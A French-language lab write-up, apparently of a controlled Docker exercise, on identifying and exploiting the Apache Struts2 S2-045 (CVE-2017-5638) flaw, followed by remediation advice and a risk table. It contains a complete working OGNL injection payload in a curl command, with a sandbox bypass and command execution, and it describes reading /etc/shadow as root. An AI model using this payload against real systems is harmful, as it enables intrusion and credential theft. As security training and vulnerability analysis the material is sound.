

Après le démarrage du conteneur, les journaux Struts2 montrent que l'application charge des fichiers de configuration familiers tels que struts-default.xml, struts-plugin.xml et struts.xml. Cela confirme que le framework utilisé est Apache Struts2.

Un point notable se trouve dans la ligne :
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Cette ligne indique que Struts2 choisit le parseur multipart Jakarta (analyseur de données d'upload multipart) pour traiter les requêtes de type multipart/form-data, que l'on rencontre couramment dans les fonctionnalités d'upload de fichiers.
C'est un signal crucial lors de l'analyse de S2-045 / CVE-2017-5638, car cette vulnérabilité est liée au processus par lequel Struts2 gère les erreurs lors de l'analyse des requêtes multipart, en particulier avec un en-tête Content-Type invalide.
Cependant, ce journal prouve seulement que l'application utilise Struts2 et un gestionnaire multipart de type Jakarta. Cela ne suffit pas encore à conclure que l'application est définitivement vulnérable. Pour confirmer, il faut déterminer la version de struts2-core et la comparer à la plage de versions affectées.



En accédant au service web avec curl, les en-têtes de réponse montrent que l'application s'exécute sur Jetty 9.2.11.v20150529. Cette information permet d'identifier l'environnement qui exécute l'application (conteneur de servlets), mais ne révèle pas directement la version de Struts2.
L'interface web renvoie la page Struts2 Showcase - Fileupload sample, avec un formulaire d'upload utilisant :
method="POST" enctype="multipart/form-data" action="/upload.action"
Cela correspond au journal précédent où Struts2 choisissait jakarta pour MultiPartRequest : l'application dispose bien d'un flux de traitement d'upload de fichiers via multipart/form-data.
⇒ Réflexion : Le point de terminaison /upload.action utilise multipart/form-data, ce qui correspond au mécanisme que Struts2 traite via Jakarta MultiPartRequest. C'est un signe qui renforce la suspicion de S2-045/CVE-2017-5638, mais il faut déterminer la version de Struts2 avant de conclure que l'application est vulnérable. Ensuite, une vérification plus approfondie est encore nécessaire concernant la version de struts2-core et la façon dont l'application gère les erreurs lorsqu'elle reçoit un Content-Type invalide.
Après avoir identifié que l'application dispose d'un point de terminaison d'upload utilisant multipart/form-data, l'étape suivante de l'analyse consiste à trouver la version réelle de Struts2. C'est crucial car les signes précédents montraient seulement que l'application dispose d'un mécanisme lié à l'upload multipart, ce qui ne suffit pas encore à conclure qu'elle est vulnérable.

Après avoir identifié le bon conteneur desservant le point de terminaison 8001, la vérification des bibliothèques est effectuée directement à l'intérieur du conteneur project1-lab01-1.
Le résultat a trouvé le fichier struts2-core :
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
À partir de ce chemin, on peut déterminer que l'application utilise Apache Struts2 2.3.30.

En comparant cela avec la vulnérabilité publiée CVE-2017-5638 / S2-045, celle-ci affecte de nombreuses versions plus anciennes de Struts2, y compris la branche 2.3.x antérieure au correctif. Lorsqu'on combine cela avec :
Framework: Apache Struts2 Version: 2.3.30 Parseur multipart: Jakarta Point de terminaison: /upload.action Content-Type: multipart/form-data
La chaîne de conditions de l'analyse devient plus claire :
`Version Struts2 2.3.30 < Version 2.3.32
Cependant, d'un point de vue analytique, une version vulnérable n'est qu'une preuve du potentiel d'être affecté. Pour confirmer au niveau comportemental, il faut envoyer une requête multipart anormale et observer la réponse/les journaux pour voir si elle entre dans la branche de gestion des erreurs du parseur multipart de Struts2.
⇒ Réflexion : À ce stade, il ne s'agit plus seulement d'identifier le framework ; la version 2.3.30 confirme que l'application se situe dans la plage de versions affectées de S2-045/CVE-2017-5638. L'étape restante consiste à vérifier le comportement de gestion des erreurs multipart pour compléter la chaîne de preuves.

Nous devons vérifier si les requêtes envoyées à /upload.action passent réellement par le mécanisme de traitement multipart de Struts2. Ici, j'utilise la commande curl avec l'option -F pour tester le mécanisme de traitement. Et le résultat renvoyé se décompose en parties :
`
⇒ Une requête valide prouve que /upload.action passe bien par le mécanisme d'upload multipart car curl -F génère du multipart/form-data et le serveur peut analyser chaque partie de la requête.


Après avoir envoyé une requête déclarant Content-Type comme multipart/form-data mais avec un corps qui n'est pas conforme à la structure multipart, le serveur renvoie toujours HTTP 200 OK. Cependant, les champs ContentType, FileName, File et Caption sont tous vides. En vérifiant les journaux Docker, on constate qu'il n'y a pas de boundary (chaîne de séparation entre les parties du multipart), et le client reçoit toujours HTTP 200 OK. Cependant, Struts2 a en réalité rencontré une erreur lors du traitement de la requête.
Cela prouve la chaîne de preuves :
Requête multipart erronée → Struts2 enveloppe la requête → MultiPartRequestWrapper est appelé → JakartaMultiPartRequest analyse la requête → FileUploadException due à l'absence de boundary
⇒ Cela correspond aux composants liés à S2-045/CVE-2017-5638. Ainsi, la chaîne de conditions est plus complète : version vulnérable, parseur Jakarta, point de terminaison d'upload, et la requête erronée entre dans la bonne branche de traitement multipart.
Le point critique de S2-045/CVE-2017-5638 ne réside pas uniquement dans l'échec du parseur multipart. L'erreur du parseur n'est que la condition de déclenchement initiale. La partie dangereuse réside dans la façon dont Struts2 gère ensuite le message d'erreur. Avec les versions de Struts2 affectées, lorsque le parseur multipart rencontre une erreur, le contenu de l'erreur peut être injecté dans le mécanisme de gestion des messages de Struts2. Si un attaquant contrôle une partie des données apparaissant dans l'erreur, notamment depuis l'en-tête Content-Type, ces données peuvent être évaluées par Struts2 via OGNL (Object-Graph Navigation Language - le langage d'expressions de Struts/XWork).
Réflexion :
Content-Type anormal → erreur d'analyse du parseur multipart Jakarta → Struts2 génère/journalise un message d'erreur → le message d'erreur passe par le mécanisme d'évaluation d'expressions → si un OGNL malveillant est présent, cela peut conduire à une RCE
En identifiant que la cible utilise Struts2, et puisque Struts2 utilise OGNL comme moteur d'expressions, une recherche sur PayloadsAllTheThings montre qu'injecter new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) dans Struts2 échouera car Struts2 dispose d'un sandbox qui bloque l'accès à java.lang.Runtime.

⇒ Assemblez le payload trouvé dans la structure d'exploitation Struts2 :
Déclencher le parseur Jakarta
(#_="multipart/form-data")
Contourner le sandbox Struts2 (Requis)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Payload d'exécution de commande
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
Cependant, lors de l'exécution réelle du payload, nous rencontrons deux problèmes :
readAllBytes() n'est prise en charge qu'à partir de Java 9. Si l'on persiste à l'utiliser, OGNL échoue silencieusement et renvoie une page HTML vide. Ce problème est résolu en utilisant plutôt la classe IOUtils de la bibliothèque org.apache.commons.io (toujours disponible dans Struts2) pour lire le flux.HttpServletResponse, en utilisant getWriter().println() pour afficher la sortie en premier, puis en appelant flush() et close() pour terminer immédiatement la connexion. Cela force le serveur à renvoyer le résultat propre de l'exécution de la commande, en contournant tout le HTML parasite de l'interface.⇒ En réassemblant les modifications ci-dessus, on obtient la commande curl complète (utilisant ProcessBuilder + IOUtils + Response Writer) :
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Exploitation réussie !!!
Bien que nous ayons obtenu une RCE avec les privilèges root, chaque commande doit être envoyée via une requête HTTP distincte, ce qui fournit un environnement non interactif. Un Reverse Shell permet d'établir une session persistante, en interagissant directement avec le système cible comme si l'on était assis devant la machine, pour la collecte d'informations et une post-exploitation plus approfondie.
Vérification des privilèges
Après une exploitation réussie, vérifiez les privilèges sur le système :
uid=0(root) gid=0(root) groups=0(root)
→ L'application s'exécute avec les privilèges root — aucune élévation de privilèges n'est nécessaire.
Collecte de données sensibles
Lisez le fichier /etc/shadow (le fichier contenant les hashs de mots de passe, auquel seul root a le droit d'accéder) :

→ Cela prouve que l'attaquant dispose d'un accès complet en lecture/écriture aux fichiers système, y compris les plus sensibles.
Note sur le Reverse Shell
La mise en place du reverse shell a échoué car le conteneur Docker sur Windows utilise un réseau interne (bridge/NAT) ; le conteneur ne peut pas se reconnecter à la machine de l'attaquant (Kali) sur le réseau local. Cependant, cela n'affecte pas la gravité de la vulnérabilité — l'attaquant a obtenu une RCE avec les privilèges root et peut exécuter n'importe quelle commande sur le système.
La vulnérabilité d'injection OGNL (CVE-2017-5638 / S2-045) sur ce système est évaluée au niveau de risque le plus élevé :
Pour remédier complètement à cette vulnérabilité, les équipes d'administration système et de développement devraient mettre en œuvre les mesures suivantes (par ordre de priorité) :
Priorités urgentes (à court terme) :
JakartaMultiPartRequest.root. Un utilisateur dédié (par exemple, struts_user) doit être créé avec les privilèges minimaux nécessaires pour exécuter l'application.Priorités élevées (à long terme et défense en profondeur) :
%{...}, ${...}, ognl, java.lang.ProcessBuilder) dans l'en-tête Content-Type.Pell ou COS dans le fichier de configuration struts.xml (struts.multipart.parser=cos).| Critère | Évaluation | Détails |
|---|
| Score CVSS | 10.0 (Critique) | Score absolu maximum. |
| Authentification | Non requise | L'attaquant n'a pas besoin de compte ni d'être connecté pour exploiter cette vulnérabilité. |
| Complexité | Très faible | Nécessite uniquement l'envoi d'une seule requête HTTP (POST) contenant le payload dans l'en-tête Content-Type. |
| Privilèges obtenus | root | Contrôle total de l'application/conteneur au niveau de privilège le plus élevé, avec la capacité de lire/écrire n'importe quel fichier (comme /etc/shadow). |
| Mouvement latéral | Élevé | Depuis le conteneur compromis, l'attaquant peut scanner le réseau interne (LAN) et attaquer d'autres conteneurs ou serveurs hôtes. |